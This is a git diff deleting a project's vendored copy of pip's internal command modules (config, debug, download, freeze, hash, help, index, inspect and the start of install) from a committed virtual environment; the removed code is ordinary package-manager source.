-        for variant, files in sorted(self.configuration.iter_config_files()):
-            write_output("%s:", variant)
-            for fname in files:
-                with indent_log():
-                    file_exists = os.path.exists(fname)
-                    write_output("%s, exists: %r", fname, file_exists)
-                    if file_exists:
-                        self.print_config_file_values(variant, fname)
-
-    def print_config_file_values(self, variant: Kind, fname: str) -> None:
-        """Get key-value pairs from the file of a variant"""
-        for name, value in self.configuration.get_values_in_config(variant).items():
-            with indent_log():
-                if name == fname:
-                    for confname, confvalue in value.items():
-                        write_output("%s: %s", confname, confvalue)
-
-    def print_env_var_values(self) -> None:
-        """Get key-values pairs present as environment variables"""
-        write_output("%s:", "env_var")
-        with indent_log():
-            for key, value in sorted(self.configuration.get_environ_vars()):
-                env_var = f"PIP_{key.upper()}"
-                write_output("%s=%r", env_var, value)
-
-    def open_in_editor(self, options: Values, args: list[str]) -> None:
-        editor = self._determine_editor(options)
-
-        fname = self.configuration.get_file_to_edit()
-        if fname is None:
-            raise PipError("Could not determine appropriate file.")
-        elif '"' in fname:
-            # This shouldn't happen, unless we see a username like that.
-            # If that happens, we'd appreciate a pull request fixing this.
-            raise PipError(
-                f'Can not open an editor for a file name containing "\n{fname}'
-            )
-
-        try:
-            subprocess.check_call(f'{editor} "{fname}"', shell=True)
-        except FileNotFoundError as e:
-            if not e.filename:
-                e.filename = editor
-            raise
-        except subprocess.CalledProcessError as e:
-            raise PipError(f"Editor Subprocess exited with exit code {e.returncode}")
-
-    def _get_n_args(self, args: list[str], example: str, n: int) -> Any:
-        """Helper to make sure the command got the right number of arguments"""
-        if len(args) != n:
-            msg = (
-                f"Got unexpected number of arguments, expected {n}. "
-                f'(example: "{get_prog()} config {example}")'
-            )
-            raise PipError(msg)
-
-        if n == 1:
-            return args[0]
-        else:
-            return args
-
-    def _save_configuration(self) -> None:
-        # We successfully ran a modifying command. Need to save the
-        # configuration.
-        try:
-            self.configuration.save()
-        except Exception:
-            logger.exception(
-                "Unable to save configuration. Please report this as a bug."
-            )
-            raise PipError("Internal Error.")
-
-    def _determine_editor(self, options: Values) -> str:
-        if options.editor is not None:
-            return options.editor
-        elif "VISUAL" in os.environ:
-            return os.environ["VISUAL"]
-        elif "EDITOR" in os.environ:
-            return os.environ["EDITOR"]
-        else:
-            raise PipError("Could not determine editor to use.")
diff --git a/venv/Lib/site-packages/pip/_internal/commands/debug.py b/venv/Lib/site-packages/pip/_internal/commands/debug.py
deleted file mode 100644
index 4e8178d0a529be13904d661d36d7bbe38dd02993..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/debug.py
+++ /dev/null
@@ -1,195 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-import sys
-from optparse import Values
-from types import ModuleType
-from typing import Any
-
-import pip._vendor
-from pip._vendor.certifi import where
-from pip._vendor.packaging.version import parse as parse_version
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.cmdoptions import make_target_python
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.configuration import Configuration
-from pip._internal.metadata import get_environment
-from pip._internal.utils.compat import get_locale_encoding, open_text_resource
-from pip._internal.utils.logging import indent_log
-from pip._internal.utils.misc import get_pip_version
-
-logger = logging.getLogger(__name__)
-
-
-def show_value(name: str, value: Any) -> None:
-    logger.info("%s: %s", name, value)
-
-
-def show_sys_implementation() -> None:
-    logger.info("sys.implementation:")
-    implementation_name = sys.implementation.name
-    with indent_log():
-        show_value("name", implementation_name)
-
-
-def create_vendor_txt_map() -> dict[str, str]:
-    with open_text_resource("pip._vendor", "vendor.txt") as f:
-        # Purge non version specifying lines.
-        # Also, remove any space prefix or suffixes (including comments).
-        lines = [
-            line.strip().split(" ", 1)[0] for line in f.readlines() if "==" in line
-        ]
-
-    # Transform into "module" -> version dict.
-    return dict(line.split("==", 1) for line in lines)
-
-
-def get_module_from_module_name(module_name: str) -> ModuleType | None:
-    # Module name can be uppercase in vendor.txt for some reason...
-    module_name = module_name.lower().replace("-", "_")
-    # PATCH: setuptools is actually only pkg_resources.
-    if module_name == "setuptools":
-        module_name = "pkg_resources"
-
-    __import__(f"pip._vendor.{module_name}", globals(), locals(), level=0)
-    return getattr(pip._vendor, module_name)
-
-
-def get_vendor_version_from_module(module_name: str) -> str | None:
-    module = get_module_from_module_name(module_name)
-    version = getattr(module, "__version__", None)
-
-    if module and not version:
-        # Try to find version in debundled module info.
-        assert module.__file__ is not None
-        env = get_environment([os.path.dirname(module.__file__)])
-        dist = env.get_distribution(module_name)
-        if dist:
-            version = str(dist.version)
-
-    return version
-
-
-def show_actual_vendor_versions(vendor_txt_versions: dict[str, str]) -> None:
-    """Log the actual version and print extra info if there is
-    a conflict or if the actual version could not be imported.
-    """
-    for module_name, expected_version in vendor_txt_versions.items():
-        extra_message = ""
-        actual_version = get_vendor_version_from_module(module_name)
-        if not actual_version:
-            extra_message = (
-                " (Unable to locate actual module version, using"
-                " vendor.txt specified version)"
-            )
-            actual_version = expected_version
-        elif parse_version(actual_version) != parse_version(expected_version):
-            extra_message = (
-                " (CONFLICT: vendor.txt suggests version should"
-                f" be {expected_version})"
-            )
-        logger.info("%s==%s%s", module_name, actual_version, extra_message)
-
-
-def show_vendor_versions() -> None:
-    logger.info("vendored library versions:")
-
-    vendor_txt_versions = create_vendor_txt_map()
-    with indent_log():
-        show_actual_vendor_versions(vendor_txt_versions)
-
-
-def show_tags(options: Values) -> None:
-    tag_limit = 10
-
-    target_python = make_target_python(options)
-    tags = target_python.get_sorted_tags()
-
-    # Display the target options that were explicitly provided.
-    formatted_target = target_python.format_given()
-    suffix = ""
-    if formatted_target:
-        suffix = f" (target: {formatted_target})"
-
-    msg = f"Compatible tags: {len(tags)}{suffix}"
-    logger.info(msg)
-
-    if options.verbose < 1 and len(tags) > tag_limit:
-        tags_limited = True
-        tags = tags[:tag_limit]
-    else:
-        tags_limited = False
-
-    with indent_log():
-        for tag in tags:
-            logger.info(str(tag))
-
-        if tags_limited:
-            msg = f"...\n[First {tag_limit} tags shown. Pass --verbose to show all.]"
-            logger.info(msg)
-
-
-def ca_bundle_info(config: Configuration) -> str:
-    levels = {key.split(".", 1)[0] for _, options in config.items() for key in options}
-    if not levels:
-        return "Not specified"
-
-    levels_that_override_global = ["install", "wheel", "download"]
-    global_overriding_level = [
-        level for level in levels if level in levels_that_override_global
-    ]
-    if not global_overriding_level:
-        return "global"
-
-    if "global" in levels:
-        levels.remove("global")
-    return ", ".join(levels)
-
-
-class DebugCommand(Command):
-    """
-    Display debug information.
-    """
-
-    usage = """
-      %prog """
-    ignore_require_venv = True
-
-    def add_options(self) -> None:
-        cmdoptions.add_target_python_options(self.cmd_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-        self.parser.config.load()
-
-    def run(self, options: Values, args: list[str]) -> int:
-        logger.warning(
-            "This command is only meant for debugging. "
-            "Do not use this with automation for parsing and getting these "
-            "details, since the output and options of this command may "
-            "change without notice."
-        )
-        show_value("pip version", get_pip_version())
-        show_value("sys.version", sys.version)
-        show_value("sys.executable", sys.executable)
-        show_value("sys.getdefaultencoding", sys.getdefaultencoding())
-        show_value("sys.getfilesystemencoding", sys.getfilesystemencoding())
-        show_value(
-            "locale.getencoding",
-            get_locale_encoding(),
-        )
-        show_value("sys.platform", sys.platform)
-        show_sys_implementation()
-
-        show_value("'cert' config value", ca_bundle_info(self.parser.config))
-        show_value("REQUESTS_CA_BUNDLE", os.environ.get("REQUESTS_CA_BUNDLE"))
-        show_value("CURL_CA_BUNDLE", os.environ.get("CURL_CA_BUNDLE"))
-        show_value("pip._vendor.certifi.where()", where())
-        show_value("pip._vendor.DEBUNDLED", pip._vendor.DEBUNDLED)
-
-        show_vendor_versions()
-
-        show_tags(options)
-
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/download.py b/venv/Lib/site-packages/pip/_internal/commands/download.py
deleted file mode 100644
index 8b349829603817b8abb11aaf4b24f6c4725b7237..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/download.py
+++ /dev/null
@@ -1,150 +0,0 @@
-import logging
-import os
-from optparse import Values
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.cmdoptions import make_target_python
-from pip._internal.cli.req_command import RequirementCommand, with_cleanup
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.operations.build.build_tracker import get_build_tracker
-from pip._internal.utils.misc import ensure_dir, normalize_path, write_output
-from pip._internal.utils.temp_dir import TempDirectory
-
-logger = logging.getLogger(__name__)
-
-
-class DownloadCommand(RequirementCommand):
-    """
-    Download packages from:
-
-    - PyPI (and other indexes) using requirement specifiers.
-    - VCS project urls.
-    - Local project directories.
-    - Local or remote source archives.
-
-    pip also supports downloading from "requirements files", which provide
-    an easy way to specify a whole environment to be downloaded.
-    """
-
-    usage = """
-      %prog [options]  [package-index-options] ...
-      %prog [options] -r  [package-index-options] ...
-      %prog [options]  ...
-      %prog [options]  ...
-      %prog [options]  ..."""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(cmdoptions.constraints())
-        self.cmd_opts.add_option(cmdoptions.build_constraints())
-        self.cmd_opts.add_option(cmdoptions.requirements())
-        self.cmd_opts.add_option(cmdoptions.requirements_from_scripts())
-        self.cmd_opts.add_option(cmdoptions.no_deps())
-        self.cmd_opts.add_option(cmdoptions.only_deps())
-        self.cmd_opts.add_option(cmdoptions.src())
-        self.cmd_opts.add_option(cmdoptions.require_hashes())
-        self.cmd_opts.add_option(cmdoptions.no_require_hashes())
-        self.cmd_opts.add_option(cmdoptions.progress_bar())
-        self.cmd_opts.add_option(cmdoptions.no_build_isolation())
-        self.cmd_opts.add_option(cmdoptions.use_pep517())
-        self.cmd_opts.add_option(cmdoptions.check_build_deps())
-        self.cmd_opts.add_option(cmdoptions.ignore_requires_python())
-
-        self.cmd_opts.add_option(
-            "-d",
-            "--dest",
-            "--destination-dir",
-            "--destination-directory",
-            dest="download_dir",
-            metavar="dir",
-            default=os.curdir,
-            help="Download packages into .",
-        )
-
-        cmdoptions.add_target_python_options(self.cmd_opts)
-
-        index_opts = cmdoptions.make_option_group(
-            cmdoptions.index_group,
-            self.parser,
-        )
-
-        selection_opts = cmdoptions.make_option_group(
-            cmdoptions.package_selection_group,
-            self.parser,
-        )
-
-        self.parser.insert_option_group(0, index_opts)
-        self.parser.insert_option_group(0, selection_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    @with_cleanup
-    def run(self, options: Values, args: list[str]) -> int:
-        options.ignore_installed = True
-        # editable doesn't really make sense for `pip download`, but the bowels
-        # of the RequirementSet code require that property.
-        options.editables = []
-
-        cmdoptions.check_dist_restriction(options)
-        cmdoptions.check_build_constraints(options)
-        cmdoptions.check_release_control_exclusive(options)
-        cmdoptions.check_only_deps_option_does_not_conflict(options)
-
-        options.download_dir = normalize_path(options.download_dir)
-        ensure_dir(options.download_dir)
-
-        session = self.get_default_session(options)
-
-        target_python = make_target_python(options)
-        finder = self._build_package_finder(
-            options=options,
-            session=session,
-            target_python=target_python,
-            ignore_requires_python=options.ignore_requires_python,
-        )
-
-        build_tracker = self.enter_context(get_build_tracker())
-
-        directory = TempDirectory(
-            delete=not options.no_clean,
-            kind="download",
-            globally_managed=True,
-        )
-
-        reqs = self.get_requirements(args, options, finder, session)
-
-        preparer = self.make_requirement_preparer(
-            temp_build_dir=directory,
-            options=options,
-            build_tracker=build_tracker,
-            session=session,
-            finder=finder,
-            download_dir=options.download_dir,
-            use_user_site=False,
-            verbosity=self.verbosity,
-            allow_editables=False,
-        )
-
-        resolver = self.make_resolver(
-            preparer=preparer,
-            finder=finder,
-            options=options,
-            ignore_requires_python=options.ignore_requires_python,
-            py_version_info=options.python_version,
-        )
-
-        self.trace_basic_info(finder)
-
-        requirement_set = resolver.resolve(reqs, check_supported_wheels=True)
-
-        preparer.prepare_linked_requirements_more(requirement_set.requirements.values())
-
-        downloaded: list[str] = []
-        for req in requirement_set.requirements.values():
-            if req.satisfied_by is None:
-                assert req.name is not None
-                preparer.save_linked_requirement(req)
-                downloaded.append(req.name)
-
-        if downloaded:
-            write_output("Successfully downloaded %s", " ".join(downloaded))
-
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/freeze.py b/venv/Lib/site-packages/pip/_internal/commands/freeze.py
deleted file mode 100644
index ab501db56290b73d0fa12f0f1e06e09dfa5948c2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/freeze.py
+++ /dev/null
@@ -1,107 +0,0 @@
-import sys
-from optparse import Values
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.metadata.base import stdlib_pkgs
-from pip._internal.operations.freeze import freeze
-
-
-def _should_suppress_build_backends() -> bool:
-    return sys.version_info < (3, 12)
-
-
-def _dev_pkgs() -> set[str]:
-    pkgs = {"pip"}
-
-    if _should_suppress_build_backends():
-        pkgs |= {"setuptools", "distribute", "wheel"}
-
-    return pkgs
-
-
-class FreezeCommand(Command):
-    """
-    Output installed packages in requirements format.
-
-    packages are listed in a case-insensitive sorted order.
-    """
-
-    ignore_require_venv = True
-    usage = """
-      %prog [options]"""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-r",
-            "--requirement",
-            dest="requirements",
-            action="append",
-            default=[],
-            metavar="file",
-            help=(
-                "Use the order in the given requirements file and its "
-                "comments when generating output. This option can be "
-                "used multiple times."
-            ),
-        )
-        self.cmd_opts.add_option(
-            "-l",
-            "--local",
-            dest="local",
-            action="store_true",
-            default=False,
-            help=(
-                "If in a virtualenv that has global access, do not output "
-                "globally-installed packages."
-            ),
-        )
-        self.cmd_opts.add_option(
-            "--user",
-            dest="user",
-            action="store_true",
-            default=False,
-            help="Only output packages installed in user-site.",
-        )
-        self.cmd_opts.add_option(cmdoptions.list_path())
-        self.cmd_opts.add_option(
-            "--all",
-            dest="freeze_all",
-            action="store_true",
-            help=(
-                "Do not skip these packages in the output:"
-                " {}".format(", ".join(_dev_pkgs()))
-            ),
-        )
-        self.cmd_opts.add_option(
-            "--exclude-editable",
-            dest="exclude_editable",
-            action="store_true",
-            help="Exclude editable package from output.",
-        )
-        self.cmd_opts.add_option(cmdoptions.list_exclude())
-
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        skip = set(stdlib_pkgs)
-        if not options.freeze_all:
-            skip.update(_dev_pkgs())
-
-        if options.excludes:
-            skip.update(options.excludes)
-
-        cmdoptions.check_list_path_option(options)
-
-        for line in freeze(
-            requirement=options.requirements,
-            local_only=options.local,
-            user_only=options.user,
-            paths=options.path,
-            isolated=options.isolated_mode,
-            skip=skip,
-            exclude_editable=options.exclude_editable,
-        ):
-            sys.stdout.write(line + "\n")
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/hash.py b/venv/Lib/site-packages/pip/_internal/commands/hash.py
deleted file mode 100644
index 271a4c91a7f759272424e051862dee0a33a91d1a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/hash.py
+++ /dev/null
@@ -1,58 +0,0 @@
-import hashlib
-import logging
-import sys
-from optparse import Values
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.utils.hashes import FAVORITE_HASH, STRONG_HASHES
-from pip._internal.utils.misc import read_chunks, write_output
-
-logger = logging.getLogger(__name__)
-
-
-class HashCommand(Command):
-    """
-    Compute a hash of a local package archive.
-
-    These can be used with --hash in a requirements file to do repeatable
-    installs.
-    """
-
-    usage = "%prog [options]  ..."
-    ignore_require_venv = True
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "-a",
-            "--algorithm",
-            dest="algorithm",
-            choices=STRONG_HASHES,
-            action="store",
-            default=FAVORITE_HASH,
-            help="The hash algorithm to use: one of {}".format(
-                ", ".join(STRONG_HASHES)
-            ),
-        )
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        if not args:
-            self.parser.print_usage(sys.stderr)
-            return ERROR
-
-        algorithm = options.algorithm
-        for path in args:
-            write_output(
-                "%s:\n--hash=%s:%s", path, algorithm, _hash_of_file(path, algorithm)
-            )
-        return SUCCESS
-
-
-def _hash_of_file(path: str, algorithm: str) -> str:
-    """Return the hash digest of a file."""
-    with open(path, "rb") as archive:
-        hash = hashlib.new(algorithm)
-        for chunk in read_chunks(archive):
-            hash.update(chunk)
-    return hash.hexdigest()
diff --git a/venv/Lib/site-packages/pip/_internal/commands/help.py b/venv/Lib/site-packages/pip/_internal/commands/help.py
deleted file mode 100644
index 2ae658ff5eb6951ea30948ab425e6125dc41fa34..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/help.py
+++ /dev/null
@@ -1,40 +0,0 @@
-from optparse import Values
-
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.exceptions import CommandError
-
-
-class HelpCommand(Command):
-    """Show help for commands"""
-
-    usage = """
-      %prog """
-    ignore_require_venv = True
-
-    def run(self, options: Values, args: list[str]) -> int:
-        from pip._internal.commands import (
-            commands_dict,
-            create_command,
-            get_similar_commands,
-        )
-
-        try:
-            # 'pip help' with no args is handled by pip.__init__.parseopt()
-            cmd_name = args[0]  # the command we need help for
-        except IndexError:
-            return SUCCESS
-
-        if cmd_name not in commands_dict:
-            guess = get_similar_commands(cmd_name)
-
-            msg = [f'unknown command "{cmd_name}"']
-            if guess:
-                msg.append(f'maybe you meant "{guess}"')
-
-            raise CommandError(" - ".join(msg))
-
-        command = create_command(cmd_name)
-        command.parser.print_help()
-
-        return SUCCESS
diff --git a/venv/Lib/site-packages/pip/_internal/commands/index.py b/venv/Lib/site-packages/pip/_internal/commands/index.py
deleted file mode 100644
index e444b9a746b88c2608464852744ff38dff500cc8..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/index.py
+++ /dev/null
@@ -1,173 +0,0 @@
-from __future__ import annotations
-
-import json
-import logging
-from collections.abc import Callable, Iterable
-from optparse import Values
-from typing import Any
-
-from pip._vendor.packaging.utils import canonicalize_name
-from pip._vendor.packaging.version import Version
-
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.req_command import IndexGroupCommand
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.commands.search import (
-    get_installed_distribution,
-    print_dist_installation_info,
-)
-from pip._internal.exceptions import (
-    CommandError,
-    DiagnosticPipError,
-    DistributionNotFound,
-    PipError,
-)
-from pip._internal.index.collector import LinkCollector
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.models.selection_prefs import SelectionPreferences
-from pip._internal.models.target_python import TargetPython
-from pip._internal.network.session import PipSession
-from pip._internal.utils.misc import write_output
-
-logger = logging.getLogger(__name__)
-
-
-class IndexCommand(IndexGroupCommand):
-    """
-    Inspect information available from package indexes.
-    """
-
-    ignore_require_venv = True
-    usage = """
-        %prog versions 
-    """
-
-    def add_options(self) -> None:
-        cmdoptions.add_target_python_options(self.cmd_opts)
-
-        self.cmd_opts.add_option(cmdoptions.ignore_requires_python())
-        self.cmd_opts.add_option(cmdoptions.json())
-
-        index_opts = cmdoptions.make_option_group(
-            cmdoptions.index_group,
-            self.parser,
-        )
-
-        selection_opts = cmdoptions.make_option_group(
-            cmdoptions.package_selection_group,
-            self.parser,
-        )
-
-        self.parser.insert_option_group(0, index_opts)
-        self.parser.insert_option_group(0, selection_opts)
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def handler_map(self) -> dict[str, Callable[[Values, list[str]], None]]:
-        return {
-            "versions": self.get_available_package_versions,
-        }
-
-    def run(self, options: Values, args: list[str]) -> int:
-        cmdoptions.check_release_control_exclusive(options)
-
-        handler_map = self.handler_map()
-
-        # Determine action
-        if not args or args[0] not in handler_map:
-            logger.error(
-                "Need an action (%s) to perform.",
-                ", ".join(sorted(handler_map)),
-            )
-            return ERROR
-
-        action = args[0]
-
-        # Error handling happens here, not in the action-handlers.
-        try:
-            handler_map[action](options, args[1:])
-        except DiagnosticPipError:
-            raise
-        except PipError as e:
-            logger.error(e.args[0])
-            return ERROR
-
-        return SUCCESS
-
-    def _build_package_finder(
-        self,
-        options: Values,
-        session: PipSession,
-        target_python: TargetPython | None = None,
-        ignore_requires_python: bool = False,
-    ) -> PackageFinder:
-        """
-        Create a package finder appropriate to the index command.
-        """
-        link_collector = LinkCollector.create(session, options=options)
-
-        # Pass allow_yanked=False to ignore yanked versions.
-        selection_prefs = SelectionPreferences(
-            allow_yanked=False,
-            release_control=options.release_control,
-            format_control=options.format_control,
-            ignore_requires_python=ignore_requires_python,
-        )
-
-        return PackageFinder.create(
-            link_collector=link_collector,
-            selection_prefs=selection_prefs,
-            target_python=target_python,
-            uploaded_prior_to=options.uploaded_prior_to,
-        )
-
-    def get_available_package_versions(self, options: Values, args: list[Any]) -> None:
-        if len(args) != 1:
-            raise CommandError("You need to specify exactly one argument")
-
-        target_python = cmdoptions.make_target_python(options)
-        query = args[0]
-
-        with self._build_session(options) as session:
-            finder = self._build_package_finder(
-                options=options,
-                session=session,
-                target_python=target_python,
-                ignore_requires_python=options.ignore_requires_python,
-            )
-
-            versions: Iterable[Version] = (
-                candidate.version for candidate in finder.find_all_candidates(query)
-            )
-
-            if self.should_exclude_prerelease(options, canonicalize_name(query)):
-                versions = (
-                    version for version in versions if not version.is_prerelease
-                )
-            versions = set(versions)
-
-            if not versions:
-                raise DistributionNotFound(
-                    f"No matching distribution found for {query}"
-                )
-
-            formatted_versions = [str(ver) for ver in sorted(versions, reverse=True)]
-            latest = formatted_versions[0]
-
-        dist = get_installed_distribution(query)
-
-        if options.json:
-            structured_output = {
-                "name": query,
-                "versions": formatted_versions,
-                "latest": latest,
-            }
-
-            if dist is not None:
-                structured_output["installed_version"] = str(dist.version)
-
-            write_output(json.dumps(structured_output))
-
-        else:
-            write_output(f"{query} ({latest})")
-            write_output("Available versions: {}".format(", ".join(formatted_versions)))
-            print_dist_installation_info(latest, dist)
diff --git a/venv/Lib/site-packages/pip/_internal/commands/inspect.py b/venv/Lib/site-packages/pip/_internal/commands/inspect.py
deleted file mode 100644
index 53b4f006408afc0ebfc5f990f213410302d9ddc2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/inspect.py
+++ /dev/null
@@ -1,92 +0,0 @@
-import logging
-from optparse import Values
-from typing import Any
-
-from pip._vendor.packaging.markers import default_environment
-from pip._vendor.rich import print_json
-
-from pip import __version__
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.base_command import Command
-from pip._internal.cli.status_codes import SUCCESS
-from pip._internal.metadata import BaseDistribution, get_environment
-from pip._internal.metadata.base import stdlib_pkgs
-from pip._internal.utils.urls import path_to_url
-
-logger = logging.getLogger(__name__)
-
-
-class InspectCommand(Command):
-    """
-    Inspect the content of a Python environment and produce a report in JSON format.
-    """
-
-    ignore_require_venv = True
-    usage = """
-      %prog [options]"""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(
-            "--local",
-            action="store_true",
-            default=False,
-            help=(
-                "If in a virtualenv that has global access, do not list "
-                "globally-installed packages."
-            ),
-        )
-        self.cmd_opts.add_option(
-            "--user",
-            dest="user",
-            action="store_true",
-            default=False,
-            help="Only output packages installed in user-site.",
-        )
-        self.cmd_opts.add_option(cmdoptions.list_path())
-        self.parser.insert_option_group(0, self.cmd_opts)
-
-    def run(self, options: Values, args: list[str]) -> int:
-        cmdoptions.check_list_path_option(options)
-        dists = get_environment(options.path).iter_installed_distributions(
-            local_only=options.local,
-            user_only=options.user,
-            skip=set(stdlib_pkgs),
-        )
-        output = {
-            "version": "1",
-            "pip_version": __version__,
-            "installed": [self._dist_to_dict(dist) for dist in dists],
-            "environment": default_environment(),
-            # TODO tags? scheme?
-        }
-        print_json(data=output)
-        return SUCCESS
-
-    def _dist_to_dict(self, dist: BaseDistribution) -> dict[str, Any]:
-        res: dict[str, Any] = {
-            "metadata": dist.metadata_dict,
-            "metadata_location": dist.info_location,
-        }
-        # direct_url. Note that we don't have download_info (as in the installation
-        # report) since it is not recorded in installed metadata.
-        direct_url = dist.direct_url
-        if direct_url is not None:
-            res["direct_url"] = direct_url.to_dict_compat()
-        else:
-            # Emulate direct_url for legacy editable installs.
-            editable_project_location = dist.editable_project_location
-            if editable_project_location is not None:
-                res["direct_url"] = {
-                    "url": path_to_url(editable_project_location),
-                    "dir_info": {
-                        "editable": True,
-                    },
-                }
-        # installer
-        installer = dist.installer
-        if dist.installer:
-            res["installer"] = installer
-        # requested
-        if dist.installed_with_dist_info:
-            res["requested"] = dist.requested
-        return res
diff --git a/venv/Lib/site-packages/pip/_internal/commands/install.py b/venv/Lib/site-packages/pip/_internal/commands/install.py
deleted file mode 100644
index e1482b9cd47250f7a615ce49b212de12b3b193bb..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/commands/install.py
+++ /dev/null
@@ -1,904 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import errno
-import json
-import operator
-import os
-import shutil
-import site
-import sys
-from collections.abc import Iterator
-from optparse import SUPPRESS_HELP, Values
-from pathlib import Path
-from typing import Any
-
-from pip._vendor.packaging.requirements import InvalidRequirement, Requirement
-from pip._vendor.packaging.utils import canonicalize_name
-from pip._vendor.requests.exceptions import InvalidProxyURL
-from pip._vendor.rich import print_json
-
-# Eagerly import self_outdated_check to avoid crashes. Otherwise,
-# this module would be imported *after* pip was replaced, resulting
-# in crashes if the new self_outdated_check module was incompatible
-# with the rest of pip that's already imported, or allowing a
-# wheel to execute arbitrary code on install by replacing
-# self_outdated_check.
-import pip._internal.self_outdated_check  # noqa: F401
-from pip._internal.cache import WheelCache
-from pip._internal.cli import cmdoptions
-from pip._internal.cli.cmdoptions import make_target_python
-from pip._internal.cli.req_command import (
-    RequirementCommand,
-    with_cleanup,
-)
-from pip._internal.cli.status_codes import ERROR, SUCCESS
-from pip._internal.exceptions import (
-    CommandError,
-    InstallationError,
-    InstallWheelBuildError,
-)
-from pip._internal.locations import get_scheme
-from pip._internal.metadata import BaseEnvironment, get_environment
-from pip._internal.models.installation_report import InstallationReport
-from pip._internal.operations.build.build_tracker import get_build_tracker
-from pip._internal.operations.check import ConflictDetails, check_install_conflicts
-from pip._internal.req import InstallationResult, install_given_reqs
-from pip._internal.req.req_install import (
-    InstallRequirement,
-)
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.deprecation import deprecated
-from pip._internal.utils.filesystem import test_writable_dir
-from pip._internal.utils.logging import getLogger
-from pip._internal.utils.misc import (
-    check_externally_managed,
-    ensure_dir,
-    get_pip_version,
-    protect_pip_from_modification_on_windows,
-    warn_if_run_as_root,
-    write_output,
-)
-from pip._internal.utils.temp_dir import TempDirectory
-from pip._internal.utils.virtualenv import (
-    running_under_virtualenv,
-    virtualenv_no_global,
-)
-from pip._internal.wheel_builder import build
-
-logger = getLogger(__name__)
-
-
-_IMPORT_AUDIT_HOOK_INSTALLED = False
-_MISSING_MODULES: set[str] = set()
-
-# Non-stdlib modules pip (or its vendored dependencies) may import lazily
-# after installation has started. Importing them eagerly keeps the audit
-# hook from misattributing them to a freshly installed distribution.
-_EAGER_IMPORTS: tuple[str, ...] = (
-    "pip._internal.operations.install.wheel",
-    # Used by rich when emitting output to a legacy Windows console.
-    "pip._vendor.rich._windows_renderer",
-)
-
-
-# Imports of standard library modules are always safe: they cannot be
-# shadowed by a distribution pip has just installed.
-_STDLIB_MODULE_NAMES: frozenset[str] = frozenset(sys.stdlib_module_names) | frozenset(
-    sys.builtin_module_names
-)
-
-
-def _prevent_import_hook(name: str, args: tuple[Any, ...]) -> None:
-    if name != "import":
-        return
-    module = args[0]
-    if module in _MISSING_MODULES:
-        raise ImportError(f"No module named {module!r}")
-    if module.partition(".")[0] in _STDLIB_MODULE_NAMES:
-        return
-    deprecated(
-        reason=f"Unexpected import of {module!r} after pip install started.",
-        replacement=None,
-        gone_in="26.3",
-        issue=13842,
-        include_source=True,
-        stacklevel=3,
-    )
-
-
-def _eagerly_import_modules() -> None:
-    """Import modules pip uses lazily so the audit hook ignores them later."""
-    for module in _EAGER_IMPORTS:
-        try:
-            __import__(module)
-        except ImportError:
-            # Record the module as missing so the hook can raise ImportError
-            # instead of trying to import it again.
-            _MISSING_MODULES.add(module)
-
-
-def _prevent_further_imports() -> None:
-    """Install an audit hook that warns on unexpected imports after pip install starts.
-
-    Eagerly pre-imports the known lazy imports first so the hook only fires
-    on genuinely unexpected modules.
-    """
-    global _IMPORT_AUDIT_HOOK_INSTALLED
-    if _IMPORT_AUDIT_HOOK_INSTALLED:
-        return
-
-    _IMPORT_AUDIT_HOOK_INSTALLED = True
-    sys.addaudithook(_prevent_import_hook)
-
-
-def _arg_refers_to_pip(arg: str) -> bool:
-    try:
-        req = Requirement(arg)
-    except InvalidRequirement:
-        return False
-    return canonicalize_name(req.name) == "pip"
-
-
-class InstallCommand(RequirementCommand):
-    """
-    Install packages from:
-
-    - PyPI (and other indexes) using requirement specifiers.
-    - VCS project urls.
-    - Local project directories.
-    - Local or remote source archives.
-
-    pip also supports installing from "requirements files", which provide
-    an easy way to specify a whole environment to be installed.
-    """
-
-    usage = """
-      %prog [options]  [package-index-options] ...
-      %prog [options] -r  [package-index-options] ...
-      %prog [options] [-e]  ...
-      %prog [options] [-e]  ...
-      %prog [options]  ..."""
-
-    def add_options(self) -> None:
-        self.cmd_opts.add_option(cmdoptions.requirements())
-        self.cmd_opts.add_option(cmdoptions.constraints())
-        self.cmd_opts.add_option(cmdoptions.build_constraints())
